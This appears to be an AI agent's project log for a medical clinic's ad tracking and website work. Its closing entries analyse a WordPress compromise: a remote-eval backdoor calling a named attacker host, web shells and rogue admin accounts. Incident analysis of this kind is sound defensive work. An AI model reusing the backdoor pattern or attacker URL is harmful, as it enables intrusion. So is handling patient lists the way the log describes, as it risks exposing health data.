Dr. Chanu Dasari / Mind-Gut-Immunity (MGI Clinic) — client since 2026-07-27. GI/colorectal surgeon + former IBD patient (dx at 19); health-coaching program for IBD + broader autoimmune (lupus, Sjögren's, CTD/MCTD, RA, psoriasis, eczema, SIBO). Funnel: $50 discovery call (he personally takes every call, 10–15 min — HIS TIME IS THE CONSTRAINT) → $6,800 program. Closes 25% organic / 15–25% Google Ads. North star = $6,800 registrations, never call volume; proposed fix = GCLID → offline conversion import. CAC sweet spot ~$200/call (~$800/registration); golden period Sept–Nov 2025. Account history: practitioner-intent keywords close; diet/supplement + side-effect queries don't; P-Max = money pit; don't prune high-CAC terms or cap tCPA at $200 (both tested, both hurt); his YouTube-engager retargeting = best audience; cold YouTube ads failed. Hot angles: onset-after-antibiotics/Accutane/vaccination (vaccine angle = compliance-hot, LP-only first-person framing), pediatric (age 4+). Geos: US/UK/CA/AU/NZ/UAE. Never advertise refund guarantees (his data: raises returns; baseline <4%). Full brief + 9 notes in Obsidian vault: Clients/Dr Chanu Dasari (MGI Clinic)/ (hub = 00 - Client Hub, verbatim brief = 07 - Raw Brief, kickoff = 08 - Meeting Notes). Repo working dir: clients/mgi/ (brief/, creative/, email/, imessage/, pages/, meetings/, audit/, hub/).
Kickoff call 2026-07-28 (transcript: clients/mgi/meetings/transcript-2026-07-28.md): stack = Calendly+Stripe ($50 call) → Kajabi academy.mgiclinic.com ($6,800); LPs on WordPress/WP Engine (we deploy there); ~90% margins; 80% of registrations close ≤1 week → 10-day offline-conversion lookback. Agreed: we take over Google Ads (his account "has something wrong" — spend↑ makes same terms cost 2–4×); Facebook-first testing (~2 LPs/mo) → editorial variants for Google; test LPs not keywords; YT→FB→Google golden triangle. His proven LP skeleton: swappable "True or false: …" hook → blurb → CTA → patient-to-surgeon story → video testimonials (80+ online). Chanu's banned words: cure, fix, heal, reverse → question framing; Meta penalty = CPM/pixel degradation, watch CPM drift. Copy workflow: our pass 1 → Chanu pass 2 on every asset ("error on the side of make Chanu do it"). Avatar adds: no demo skew (4–94), buyer≠patient, lupus/RA 4:1 female, ~30% Indian → US second-language targeting play. INTERNAL: program = "wrapper for the probiotic". Access grants: GTM active 2026-08-03 but READ-ONLY — account "MGI Clinic" 6055820845, container GTM-N2GDXJ8 (mgiclinic.com), GA4 G-NT802KR1FL, Google Ads conv tag AW-10842100698 (6 conv destinations already wired); container flagged "Needs Attention — 1 issue"; need Publish perms before deploying (co-admin ash@resiliodm.com = likely incumbent Google guy — confirm role before rewiring tags). 2026-08-03: Google Ads ✓, Meta BM ✓, WP Engine ✓, Dropbox ✓ (David confirmed). Integration intake = ~/.mgi/mgi.env (scaffold with placeholders for customer ID, GA4 property, Meta BM/account/page/pixel IDs, Calendly token, Kajabi key, Dropbox local path). 2026-08-06: WPE SSH LIVE — install mgiclinic, ssh -i ~/.ssh/mgi_wpengine mgiclinic@mgiclinic.ssh.wpengine.net, wp-cli works (WP 7.0.2, www.mgiclinic.com, theme child-hello-elementor = Elementor pages; App Password optional now). Install-name discovery trick: <guess>.wpengine.com 301 = exists. IDs confirmed 2026-08-06: Google Ads CID 841-403-3964 (+ conv tag AW-10842100698 in GTM); Meta BM 346005566680842 ("Chanu Dasari MD"), ad account act_1777184009460625, David = person-level full access (⚠ "Al King" also full access — unknown, likely incumbent FB guy). Meta: pixel 1289579869100647 ("MGI Clinic Pixel") LIVE + receiving events — seasoned, inherit it; ad account + pixel + both pages assigned to adscaler SU 2026-08-06; 2 FB pages ("Mind-Gut-Immunity Clinic" + "Dasari MD - Digestive Health & Nutrition") both "Review needed" in BM — must clear before running ads; page IDs TBD. Site recon 2026-08-06: GTM-N2GDXJ8 installed SITE-WIDE on WP (⚠ Cloudflare serves stale no-GTM cache variants — always verify tags on FRESH fetches + purge after deploys); no hardcoded pixel/GA4/AW → all tracking via GTM → Publish bump = the single deploy gate; Kajabi academy has no FB/GA tags; Klaviyo on site, company VqpLhz (email mandate likely rides Klaviyo). WP page map: fix-ibd-naturally = THE sales LP; quiz funnel + 6 persona pages (silent-sufferer, dire-need, blue-zone…); pSEO farm {condition}-specialist-in-{city}; thank-you-confirmation = conversion page. Google Ads API LIVE 2026-08-06 (v21): dev token in ~/.mgi/mgi.env; MUST use custom OAuth client ~/.config/analytics-mcp/oauth-client.json for ADC (gcloud default client BLOCKED for adwords scope — same trap as analytics.readonly); quota project analytics-mcp-1779259762 (googleads API enabled); Culture Group MCC 943-261-8756 = login-customer-id for MGI 841-403-3964 queries. FULL AUDIT DONE 2026-08-06 → https://mgi-clinic-launch-board.netlify.app/audit/ (data+scripts clients/mgi/audit/; certifi SSL_CERT_FILE needed for python urllib). Root causes: (1) PRIMARY conversions polluted (GBP local actions/menu views + YT follow-on views + booking DOUBLE-COUNTED GA4+native); (2) account SELF-THROTTLED dark Aug 2026 (tCPA $200 set vs $600+ real); (3) YT remarketing pool starved to 710 members, site lists CLOSED — 2025 YT algo collapse = root of CAC rise. Eras: exact-match+/service pages 2024 (6% CVR) → dark Sep24–Jun25 → golden Aug–Nov25 $218–380/booking → consolidation+PMAX+2.5× spend = CVR 0.92→0.28% with FALLING CPCs (junk flood). Intent economics: practitioner $48 CPA/4.6% CVR (best: "crohn's disease specialist near me" 209conv@$10; "near me"=238conv) vs drug-side-effect $2,234. Pediatric + trigger-onset NEVER RUN. Story searches ("how i cured my crohn's") validate Doctor's Investigation frame. UAE $276/conv underfunded; zero brand capture; QS 3–5. 10-point plan in report §7 — sequence: fix conversion goals → un-throttle → offline import → practitioner rebuild. §8 added 2026-08-07: guidance×data cross-examination — 16 claims from brief/kickoff vs the dataset: 9 confirmed, 2 refined (PMAX looks better at booking layer $85 vs $573 but signals polluted — doctrine holds till offline loop; geo reordered US>UAE>UK/CA), 2 untested (pediatric, trigger-onset), 3 ACTION: registrations-not-calls never implemented; banned words LIVE in ad copy (cure ×18, reverse ×6 + 17 URLs to /fix-ibd-naturally/ slug); "Real Recovery Guaranteed" ×2 dormant in paused 2024 campaign. Headline: his field judgment ~all confirmed; failures are implementation. 2026-08-07: NEW CAMPAIGNS LAUNCH IN FRESH ACCOUNT 408-427-8533 ("Mind-Gut-Immunity Clinic" — VERIFIED: under Culture Group MCC, USD/LA, auto-tagging ON, blank slate 0 campaigns/0 conv actions; 841-403-3964 = baseline — DAVID 2026-08-09: old account UNTOUCHED, pure benchmark (stays self-throttled/dark; historical audit data = the real baseline); billing on new account CONFIRMED set up). Launch gates remaining: GTM Publish bump (new AW- tag), conversion-action build, compliant LPs/RSAs. GTM container mapped 2026-08-09 (ADC now carries tagmanager read+edit+publish scopes; snapshots clients/mgi/tracking/): N2GDXJ8 = 20 tags; rails GOOD (Conversion Linker, StickyUTMs SaaS sticky-240312-VMwQx persists gclid+7 click IDs — may already decorate Calendly, verify in their dashboard, ty_event_fired fire-once guard, zero MutationObservers); sins: TY double-fire (2 GTM awct + account-hosted page-load primary = the multi-count), GA4 late-init on Window Loaded, FB pixel browser-only no CAPI, orphan "Calendly Scheduled" trigger, no consent mode (= the "1 issue"). ⚠ Second GTM account "M-G-I" 6370595580 w/ EMPTY container GTM-NBQBWTR8 (dead domain mind-gut-immunity.com) — david@ is VIEW-ONLY there (verified: GTM write probe passed on his own NS account, failed 404 on M-G-I). FRESH COMBO decided (2026-08-09): Ads 408-427-8533 + new GTM, old container STAYS in code untouched (David: don't break existing funnel); new container = LEAN/additive (linker + 408 remarketing + booking conv + shared ty_event_fired guard; NO GA4/pixel/Sticky duplication). DONE: conversion actions created in 408 — 7716477302 Discovery Call Booked $50 WEBPAGE PRIMARY (tag AW-18380915648/bEykCPaywN8cEMCH2rxE) + 7716477305 Program Registration $6,800 UPLOAD_CLICKS secondary 90d. Build script ready clients/mgi/tracking/build_combo.py — v2 FULL-FUNNEL (David 2026-08-11: "all events fired to understand the funnel"): principle = measure everything / bid on ONE. 5 conversion actions: booking $50 PRIMARY + registration $6,800 offline + 3 SECONDARY micro (Discovery Page View / Discovery Call Button Click ×13 triggers / Click to Call — visible in Ads reports + audience-buildable, excluded from bidding = the anti-pollution line the old account crossed). GTM adds: consent-mode default granted (US), GA4 discovery_call_click (new-name event, no double-fire w/ old container's GA4), User Provided Data var ported (EC-ready, needs 1 UI toggle later). Idempotent by name. Auth hardened: raw refresh-token helper ~/.mgi/mgi_token.sh + creds ~/.mgi/google-oauth.env (bypasses gcloud reauth flakiness). BUILD EXECUTED 2026-08-12 (Ads API v21 SUNSET mid-project → bumped v23; GTM API 429s at ~15 req/min → backoff added): all 5 conversion actions live in 408 (labels in build output; booked=bEykCPaywN8cEMCH2rxE); GTM-NBQBWTR8 version 2 built (2 vars, 15 triggers, 9 tags) but UNPUBLISHED — David's grant = Edit/Approve tier, Publish checkbox separate (create_version worked, publish 404'd; container serves old EMPTY version = inert). BOTH GTM snippets CONFIRMED LIVE site-wide (mgi-gtm-408.php MU-plugin deployed; fresh fetch shows N2GDXJ8 + NBQBWTR8 ×2 each). ⚠ ADC deaths ROOT-CAUSED: Workspace session-control policy (invalid_rapt) — permanent fix = admin.google.com → Security → Google Cloud session control → never expire. DNS: apex A flipped to 141.193.213.11 ✓; www CNAME still legacy mgiclinic.wpengine.com → needs wp.wpenginepowered.com (blocks SSL). GTM v3 PUBLISHED via API 2026-08-12 ✓ — COMBO FULLY LIVE: served gtm.js (460KB) verified carrying AW-18380915648 + booking label + ty_event_fired guard + discovery_call_click + consent defaults; both containers site-wide. GTM trap for the playbook: ported triggers referencing built-in vars (Click Text/URL etc.) FAIL validation until built-ins are ENABLED per-container (built_in_variables endpoint, ?type= repeated params — snapshot captures don't include them); also create_version CONSUMES the workspace (next one auto-created, renumbered) — "Workspace is already submitted" = stale ws path. Remaining: www CNAME flip (still legacy mgiclinic.wpengine.com → wp.wpenginepowered.com) blocks new-domain SSL. Then: LP builds on new domain, campaigns, offline-loop wiring (Calendly/Kajabi still pending), StickyUTMs gclid-passthrough verification, EC UI toggle. MEDIA PLAN SHIPPED 2026-08-12 → /media-plan/ on the hub (+ vault note 09): 6 campaigns (Crohn's 25/UC 25/IBS 15/Treatment 20/Brand 5/Reserve 10), tiers $150→$300 REC→$500/day (T3 gate = offline ≥15% close), Max Clicks $3 ceiling → MaxConv NO tCPA @15conv, US-only, LPs UNCHANGED (/service/ pages + fix-ibd w/ display-path override), pediatric+trigger-onset EXCLUDED until dedicated LPs, negatives = wrong-intent-only. Base projection: 7.2 reg/mo, 5.4× @ T2. NEW FUNNEL DOMAIN = mind-gut-immunity.com (David 2026-08-09) — explains the M-G-I GTM account (made for this domain). DNS ALREADY points at WPE (www CNAME→mgiclinic.wpengine.com, apex A→WPE IP; GoDaddy, Chanu's since 2020); WPE edge answers "Site Not Configured" → only gap = domain not added to the mgiclinic environment (David's 15-sec portal click; portal SPA blocks background-window automation). Host-aware MU-plugin DEPLOYED wp-content/mu-plugins/mgi-dual-domain.php (via base64-over-ssh — WPE gateway has NO scp): alt-host serves natively (kills canonical redirect, dynamic home/siteurl, noindex) — REQUIRED because Google Ads bans cross-domain-redirect final URLs; mgiclinic.com behavior untouched; delete file to revert. After domain lands: verify 200s/noindex/no-redirect + SSL auto-provisions. 2026-08-11: domains added to WPE prod ✓ (verified in portal, 6 rows); MU-plugin CONFIRMED WORKING on live traffic (noindex + on-host serving, no redirect). ⚠ SSL blocked >1h — ROOT CAUSE: DNS points at WPE LEGACY network (www CNAME→mgiclinic.wpengine.com→104.196.188.177) but install serves via ADVANCED NETWORK (wp.wpenginepowered.com→141.193.213.10/11, Cloudflare-fronted — this is also why mgiclinic.com shows "server: cloudflare"). Fix = GoDaddy DNS (Chanu's registrar): www CNAME→wp.wpenginepowered.com, apex A→141.193.213.10+141.193.213.11; then LE cert auto-issues ~15min. TRAP for all WPE work: legacy <install>.wpengine.com targets ≠ AN targets; always match what the PRIMARY domain uses. GTM still blocked: David granted "full write" somewhere but david@davidsanghera.com (API identity, verified via ADC) is denied on BOTH containers — grant went to a different login; exact ask = M-G-I account → User Management → david@davidsanghera.com → container Publish. Implications: clean conversion architecture from day one; new AW- tag needed in GTM (both tags during comparison); identical booking-conversion definitions in both accounts or comparison is void; cold-start = learning phase + new-account health-policy scrutiny (compliant slugs/copy = day-one prerequisite); open: does old account keep spending during comparison? ⚠ ADC refresh tokens keep dying (OAuth app in Testing status = short-lived refresh tokens) — durable fix: publish the OAuth app to Production in Cloud Console (analytics-mcp project). Dropbox local: ~/Library/CloudStorage/Dropbox-Cdasgud/Cdasgud Team Folder/MGI CLINIC (online-only; download selectively): AD ASSETS - CREATIVES ×129, SCRIPTS ×58, Social Proofs ×38, PROJECT(S) ×90, 6 dated 2024 shoots, Chanu Hooks, ARABIC (UAE), DEBUNKED + diet-footage series. Still pending: GTM→Publish bump, GA4 admin, YT, Calendly, Kajabi, customer export. Client-shareable launch board: https://mgi-clinic-launch-board.netlify.app (ONE site per client — board at /, audit at /audit/; source clients/mgi/hub/, deploy clients/mgi/deploy.sh, site f8fc601b-5970-4fac-8cf1-0d4fc805d7f2; rename trap: netlify api updateSite needs {"site_id":…,"body":{…}} nesting). CHANU'S OWN ACCOUNT ANALYSIS (2026-08-12) cross-checked → plan v1.1: (1) IBD NOT IBS — STANDING CORRECTION, IBS campaign removed/terms excluded; (2) his consolidation claim PROVEN by natural experiment — same keyword 'inflamed large intestine treatment' $353/conv in dedicated Intestinal-Inflammation campaign vs $745 after March-2026 roll-in to UC campaign (container broke, not keywords); (3) symptom-language > diagnostic terms CONFIRMED → new 20% 'Intestinal Inflammation — Symptom Language' campaign; (4) phrase-first match mix per his 2025-breadth insight; (5) his Ash-CrohnsD-Search memory slip: was 2024 ($764), not 2025. Search-terms workbook at /media-plan/mgi-search-terms-2025-vs-2026.xlsx (43 launch terms + 23 proven keywords, built from existing audit pulls — token was rapt-dead again). PLAN v2.0 FULL BUILD shipped 2026-08-14 (same /media-plan/ URL; v1.0+v1.1 deploy-permalinks in nav): 6 campaigns/11 ad groups/62 kws/full RSA sheets, ALL final URLs on https://www.mind-gut-immunity.com (dual-domain pages), generated+validated by clients/mgi/plan/build_plan.py (len+banned-word assertions). Launch gates: www-CNAME→SSL→4 pages 200 (HARD: Ads disapproves dead HTTPS finals), Chanu copy pass 2 (⚑: 10k claim + treatment/remission phrasing), tier sign-off ($300 rec), then API-build PAUSED→review→enable. David approved v2.0 split as-is (2026-08-15) — fix-ibd destinations hold 35% direct (~40% effective); no rebalance. 2026-08-15: GATE 1 CLEARED — CNAME flipped, SSL live, new GTM verified on new domain (both containers ×2 all hosts). DISCOVERY: /service/… URLs = host-scoped redirect ALIASES (WPE/old-host only) of real pages /crohns-disease/ + /ulcerative-colitis/ — audit's 'duplicate page' verdict corrected (same content, two URL forms); plan v2 final URLs switched to canonical pages, all 4 destinations verified 200 on https new domain. Remaining gates: Chanu copy pass 2 + tier sign-off → then API-build paused. 2026-08-17: Chanu connecting products via 408's DATA MANAGER (YT channel + GA4 + Klaviyo native connectors = the audience path; Kajabi/Calendly are NOT native connectors — their data flows via our offline pipeline or a Sheets bridge; NO lookalikes on Google since 2023 — Customer Match works as bid signals/expansion; patient-list compliance gate stands on Klaviyo audience activation). Chanu's ad ideas routed (2026-08-17, vault 04): YT title formulas→content engine only (diet-framed = his own high-CTR-no-conversion class); quality-lead terms→8 kws added to plan (70 total, pending authed sync to account); 4 'Case Studies' ideas = THE LP PROGRAM BRIEF (avoid-biologics=page-not-ad [discouraging-treatment policy risk], antibiotic+vaccine=trigger-onset w/ standing compliance framing, new-method=clean+RSA candidate, children-4-16=pediatric page); 3-framework matrix fires when LP drafting starts. PLAN v2.1 (2026-08-17): 7 campaigns/83 kws — NEW 'Symptom Bridge — Adjacent Language' campaign (10%, Reserve trimmed to 5%): leaky-gut/microbiome + chronic-digestive-distress phrase terms → fix-ibd; discipline = symptom+ACTION only, copy never condition-implying; autoimmune AG held for its page. §9c creative-routing table added. LP ANGLE PLAN shipped → /lp-plan/: 7-page roster (P1: New Method + Trigger-Onset/antibiotics; P2: Pediatric 4-16 + Avoid-Biologics [page-only, never ad copy]; P3: Anti-Holistic-Scam, Test-Results, Autoimmune-General) w/ per-page compliance rails + proposed frameworks PENDING David's 3-framework matrix pick. New Method ⚑ RSA candidates in Crohn's/UC banks. Keyword/campaign sync to live account still pending authed builder run. 2026-08-17 late: v2.1 SYNCED to account (7 campaigns/13 AGs/95 kws/13 RSAs, all PAUSED; Symptom Bridge live-paused $15/day; exemptions filed). New Method headlines swapped into live Crohn's+UC RSAs (David approved; 'Telehealth Nationwide' dropped at the 15-cap; create-new-remove-old on zero-history ads). CUSTOMER LIST DELIVERED → clients/mgi/customers/customers.csv (1,546 rows, 100% unique emails, 96% phones, booking-export shape, NO condition columns) — folder GITIGNORED (PII never commits); Customer-Match-formatted file staged (customer-match-staged.csv, E.164 phones 96%). CUSTOMER MATCH UPLOADED 2026-08-17 4:33 PM (David explicitly overrode the counsel gate ×2, then clicked the attestation + Save himself): list "MGI Customers — Aug 2026 upload" userLists/9452841361 in 408, 540-day membership, 1,545/1,546 rows accepted (1 malformed, unidentified), Source=Google Ads UI, attached to NOTHING — first use = exclusion/suppression per agreement. Path lesson: API Customer Match needs STANDARD dev-token tier (CUSTOMER_NOT_ALLOWLISTED_FOR_THIS_FEATURE on Basic) → UI upload has no tier gate; UI flow = Audience Manager → segment → ⋮ Edit list → Modify list → Upload file manually (never click Browse — find file input ref + file_upload; plain CSV Email,Phone,First Name,Last Name,Country,Zip, Google hashes in-browser). ⚠ Serving threshold: targeting needs 1,000 MATCHED members — 1,545 uploaded × typical match rates may land near/under it (exclusion use unaffected); sizes/match rate populate 24–48h. DISCOVERY: account already has a Zapier data-source connection by cdasgud@gmail.com — candidate for continuous list sync later (vs manual re-uploads/Klaviyo connector). AUDIENCE INFRA BUILT 2026-08-17 (same session, after Chanu linked GA4+YT): CM list EXCLUDED on all 7 campaigns (campaignCriteria negative userList — works on BASIC token; only member-upload needs Standard). 4 web remarketing lists created via API (OWNED, 540d, prepopulation REQUESTED, new AW tag firing since Aug 12): Site—All visitors 9452255780 / High-intent pages (fix-ibd+crohns+uc) 9452257595 / Discovery page viewers 9452257598 / Booked ty-page 9453530601. API traps: flexibleRuleUserList = ONE operand per URL, OR'd (multi-group-in-one-operand → TOO_MANY); prepopulationStatus lives INSIDE ruleBasedUserList; env token parse needs .split()[0] (trailing comment). 4 YT lists created via UI (channel Dr. Chanu Dasari, MD — 61K subs, 421 videos; 540d + 30d pre-fill): Viewed any video 9453531792 / Subscribers 9453532551 / Visited channel 9452851990 / Liked any video 9453534345. UI traps: + menu animates ~6-10s (click the + ICON column x≈324 after full wait; menu dies between tool batches); action-dropdown option clicks only land when dropdown verified open in SAME frame; stale find-refs resolve to table rows (harmless detail-page detours). Auto-created by the links: All Converters/All visitors/optimized list (0 members) + Calendly ($50 Discovery Call Purchase) logical list "From Calendly" (Zapier feed — CONFIRM with Chanu what the Zap pushes) + Contact/Engagement/Page-view conversion-based lists. Old 841 YT pools visible SHARED w/ 720 members (the starved audit pools — superseded by our owned lists). ⚠ Google sunset notice: URL-visit-based segments "can no longer be created or edited" (existing serve; ours created fine via API; GA4 audiences = durable long-term path). OPEN: verify linked GA4 = G-NT802KR1FL's property (of Chanu's 11); Klaviyo Data Manager connector still pending. 2026-08-17: CHANU COPY PASS 2 CLEARED (David: "Chanu passed the copy, hes good") — ⚑ lines (10,000+ Patients, treatment/remission phrasing, New Method) approved as built; live-paused RSAs already carry final copy, no account changes needed. TIER 2 CHOSEN + SET 2026-08-17 (David: "Lets start at T2"): budgets updated in-account to $300/day total per plan t-tuples — Crohn's $75 / UC $60 / IntestInflamm $60 / Treatment $45 / SymptomBridge $30 / Brand $15 / DiscoveryNet $15 (was T1 $150; DiscoveryNet had drifted to $22, now on-plan). GA4 PROPERTY VERIFIED: David sent the real one — GA account 230858542, property 318014139 "MGI Clinic" (URL a230858542p318014139); Ads UI Linked(1) shows exactly it, Import GA audiences: ON, App+web metrics: ON, linked Aug 17 (env updated). Data manager also confirms YouTube 1-linked + Zapier "Linked" rows. Enable gates remaining: Calendly redirect (DAVID HANDLING personally, 2026-08-17: "dont worry about Calendly, ill handle it" — his Chrome's Calendly login = personal account, NO MGI org access) + E2E test booking → then enable = flip 7 campaigns. 2026-08-18: BEST-IN-CLASS ADS VIEW BUILT. ⚠⚠ CRITICAL CATCH: YT channel link AUTO-CREATED 2 PRIMARY conversion actions ("YouTube channel subscriptions" + "YouTube follow-on views" MANY_PER_CLICK) — the EXACT old-account pollution disease reborn; API mutate blocked (MUTATE_NOT_ALLOWED on system actions) → flipped both to Secondary via UI (Goals→Conversions→action→Settings→Action optimization). Belt+suspenders: CustomConversionGoal 6458736528 "Booking only (Discovery Call $50)" created + attached to all 7 campaigns via conversionGoalCampaignConfigs:mutate (goalConfigLevel CAMPAIGN) — bidding provably single-signal forever, immune to future auto-primaries. Conversion audit otherwise clean: booking SUBMIT_LEAD_FORM/$50/ONE/DDA/30d PRIMARY; reg PURCHASE/$6,800-default/90d secondary («Misconfigured» tracking-status = no uploads yet, clears when offline loop starts); 3 micros right categories; customer: call reporting ON, EC-for-leads ON, auto-tagging ON; booking EC = "Managed through Google Tag" (the pending UI toggle self-resolved). 7 custom columns created in UI (chip+filter builder): Bookings [Conv:booking] / Registrations [AllConv:reg] / Reg Revenue [AllConvValue:reg] / Discovery Views [AllConv:pageview] / CTA Clicks [AllConv:btnclick] / Cost/Booking [Cost÷Conv:booking] / Booking Rate [Conv:booking÷Clicks, %] — saved column set "MGI Funnel" applied as default campaigns view. UI traps: custom-column dialog swallows first type-attempt after open (always retype); operator-before-chip if caret at pos 0 (click right of chip first); metric autocomplete via typing beats category tree; "All conversions" needed for secondary actions (plain Conversions excludes them). ⚠ Brand Capture shows "All ads limited by policy" — inspect before enable. GA4 SETUP DONE 2026-08-18 (property 318014139 "MGI Clinic", ADC analytics.edit works = David has GA4 edit): already-good found: retention 14mo, DDA + 90d windows, LA/USD, industry HEALTHCARE. Event inventory 30d: page_view 18.7K; Calendly WIDGET events flow into GA4 (invitee_event_type_page ×501, invitee_select_day ×122) but NO booking-completion event existed; 2022 relic key events (purchase/form_submit/phone_call, dead — left in place, note to clean). BUILT: key events booking_confirmed + discovery_call_click; 4 audiences 540d (GA4 — Discovery page viewers [page_view param page_location~discovery] / Calendly widget viewers [invitee_event_type_page] / CTA clickers / Booked) — flow to 408 via link w/ audience-import ON = the durable Ads-audience path. GTM-NBQBWTR8 v4 PUBLISHED: new gaawe tag "GA4 — booking_confirmed" (measurementIdOverride G-NT802KR1FL) on Thank You Page Transaction + Conversion Blocker guard; E2E verified: cleared ty_event_fired cookie in pane → reload → cookie re-armed → event landed in GA4 REALTIME. API traps: Audience API = v1alpha, filterExpression top level MUST be andGroup (and nested eventParameterFilterExpression too); create_version needs scope tagmanager.edit.containerversions (edit.containers alone → 403 AFTER tag create succeeds); gcloud re-auth auto-approves instantly on David's fresh session (no consent wait). GA4-side audiences NOT yet attached in Ads campaigns (they appear as linked-GA4 segments once populated — attach at enable-review or leave as signals). TRAFFIC BASELINE (GA4, 2026-08-18): ~250 users/day steady; 30d channels: organic 5.9K sessions / cross-network 3.3K / direct 2.9K / paid search 1.4K; top pages fix-ibd 1.3K, / 1.1K, /discovery/ 701; hostname split 13,444 mgiclinic.com vs ~41 mind-gut-immunity.com (new domain quiet until enable); Calendly widget tracked cross-domain (373 calendly.com sessions). Aug-17 spike 739 users = 562 DIRECT sessions (email/SMS blast? ask Chanu). ⚠⚠ OLD ACCOUNT 841 IS NOT DARK — LIVE SPEND $4,907/30d (~$160/day): ENABLED "Ash-UC Specialist-Campaign" $3,196/1,531 clicks + "IBD-PMAX" $1,711/3,236 clicks ($0.53 CPC junk pattern). Contradicts the untouched-benchmark assumption; Ash (incumbent) presumably operating. ENABLE-TIME DECISION: pause old campaigns or accept auction self-competition (UC/IBD same keywords, both domains = same site via dual-domain serving → double-serving policy risk too). David/Chanu call. ⚡ CAMPAIGNS ENABLED BY DAVID 2026-08-18 08:52 AM PT (change_event: david@, 6 status updates — skipped the Calendly-confirm + test-booking gates). LIVE-DIAGNOSIS ~11am: all ELIGIBLE (Brand Capture LIMITED: 1 ad APPROVED_LIMITED health-policy), 12/13 ads APPROVED+REVIEWED, 95/95 keywords APPROVED, billing clean — 0 impressions = first-hours serving ramp + ~3h reporting lag, NOT a defect. If still ~0 impressions after 24h: first lever = Max Clicks $3.00 cpc ceiling vs market CPCs (~$2.10 Ash-UC avg). CALENDLY REDIRECT NOW URGENT — ads live; unconfirmed redirect = bookings don't convert. Old 841 spent only $0.10 today (effectively quiet — overlap concern reduced; confirm who paused). ~11:30am: SERVING CONFIRMED — 37 clicks/$86.80 (avg CPC $2.35), landing-page report: ALL clicks → www.mind-gut-immunity.com (35 fix-ibd + 1 crohns + 1 home) = funnel intact; GA4 hostname zeros were pure intraday lag. Mix: SymptomLang 18cl / Treatment 11 / SymptomBridge 6 / Specialists STARVED (60+11 impr — low-volume near-me + $3 ceiling; raise ceiling those 2 campaigns if still starved 24-48h). Ads UI data ≫ fresher than API metrics same-day (landing_page_view = authoritative for destinations). Persistent GA4-realtime Monitor armed for first booking_confirmed (fires ⇒ Calendly redirect proven). 2026-09-02 CLEANUP EXECUTED (David: "just remove the offending code for now. And turn on Ads again") — INTERIM, NOT A FULL REMEDIATION. Quarantined originals to ~/quarantine-20260902/ on the server BEFORE touching anything. DONE: (1) wp-blog-header.php rewritten to stock WordPress — php -l clean, 0 backdoor refs, known-good md5 5f425a463183f1c6fb79a8bcd113d129; (2) deleted both shells wp-admin/404.php + wp-admin/tmptc9Gz4; (3) deleted all 6 attacker admin accounts (IDs 25,31,32,33,34,35) — NOTE THE SITE NOW HAS ZERO WordPress users, which is safe ONLY because wpe-wp-sign-on-plugin.php is in mu-plugins so David/Chanu reach wp-admin via the WP Engine portal without a WP account; (4) deactivated wp-file-manager (suspected entry vector, v8.0.4). VERIFIED AFTER: no uniive refs anywhere in core/mu-plugins/themes; no tmp*/suspected files in wp-admin or wp-includes; no unexpected cron hooks; mu-plugins list contains only the 9 known-good files; all 27 uploads .php are 0-byte directory stubs; all 5 ad destinations render correct titles + zero spam markers. index.php STILL fails checksum but is BENIGN — byte-inspection shows it is stock WordPress with CRLF line endings (^M on all 17 lines), nothing appended after the require. Attacker tooling touched it without injecting. Do not panic about this on re-check. Ads re-enabled, $390/day live. NEW SAFETY NET: re-infection watcher (task bseypbw2j) — every 2 min over SSH it verifies wp-blog-header.php md5 vs known-good, greps for the C2 string, counts shell files in wp-admin, and counts administrator accounts (expects 0); alerts on ANY change. Runs alongside the 5-URL 30s spam watchdog (b897k1yzz). RESIDUAL RISK STANDS AND DAVID KNOWS: attacker had admin+RCE for ~2 weeks; removing found artifacts does not prove eviction. Full remediation (restore from pre-Aug-17 backup + rotate ALL credentials: WP/SFTP/SSH/DB/API + replace wp-file-manager) is still the correct fix and remains undone.
2026-09-02 🚨🚨 SITE IS ACTUALLY HACKED — I WAS WRONG ABOUT WP ENGINE. David's instinct ("could it be a plugin or javascript thats hacked?") was RIGHT. Triggered by his challenge, I finally ran wp core verify-checksums — it found the compromise in seconds. FINDINGS (documented in clients/mgi/incidents/COMPROMISE-FINDINGS.md): (1) BACKDOOR IN wp-blog-header.php (mod Aug 19 07:27) — runs on EVERY request: a class whose __call magic method wraps file_get_contents, then eval('?>'.$obj->randomMethod('http://z60818_16.uniive.shop/stat/index.txt')). It downloads and executes attacker PHP on every pageview. THIS IS THE SPAM MECHANISM — the attacker controls the remote file, so they choose what any given request returns, which is exactly why it looked like one-URL-at-a-time cache poisoning. (2) TWO WEB SHELLS: wp-admin/404.php 60KB "BYTE_BUNK Shell v4.0" (Telegram @Eagle0799, bypasses open_basedir/disable_functions/safe_mode) and wp-admin/tmptc9Gz4 214KB (PDF-header-disguised, sha256 password gate, base64-chunked, fake 403 login). (3) SIX ROGUE ADMIN ACCOUNTS created Aug 19-20: upgredes/locatesuid23@gmail.com, geiatsao_qd039p, sprt/support@wordpresss.org (3 s's, impersonating WP), wp_78qa41, admim_ts, wp_hp3xbn — and NO legitimate admin appeared in the list, which itself needs checking. (4) PROBABLE ENTRY: every wp-content/plugins/wp-file-manager/ file has mtime Aug 17 20:06, hours before the first shell; wp-file-manager v8.0.4 has a documented critical-RCE history. TIMELINE: Aug17 20:06 entry → Aug18 04:01 + 05:47 shells → Aug19 07:27 bootstrap backdoor → Aug19-20 six admins → Aug28 first spam sighting → Sep2 identified. Attacker held admin + RCE for ~2 WEEKS. WHY I MISSED IT FOR 5 DAYS — THE LESSON: I searched the DATABASE for spam strings (injection is in FILES pulling REMOTE code, so nothing spam-like is stored locally) and I checked find -mtime -7 on Aug 28 (window started Aug 21; every malicious file predates it by 2-4 days). NEVER conclude "not a compromise" from DB grep + mtime window. RUN wp core verify-checksums FIRST — it found this instantly. My CDN-poisoning diagnosis was wrong and the drafted WP Engine ticket blames them incorrectly — DO NOT SEND AS WRITTEN. ACTIONS: all 9 campaigns PAUSED; evidence + full writeup in clients/mgi/incidents/. RECOMMENDED (not done — needs David/Chanu): restore from pre-Aug-17-20:06 backup rather than piecemeal cleanup, rotate ALL creds (WP/SFTP/SSH/DB/API), remove wp-file-manager, engage WPE security team. FLAGGED FOR THEIR COUNSEL: medical practice had RCE on its server ~2 weeks — potential patient-data exposure is theirs to assess, we state the fact only.
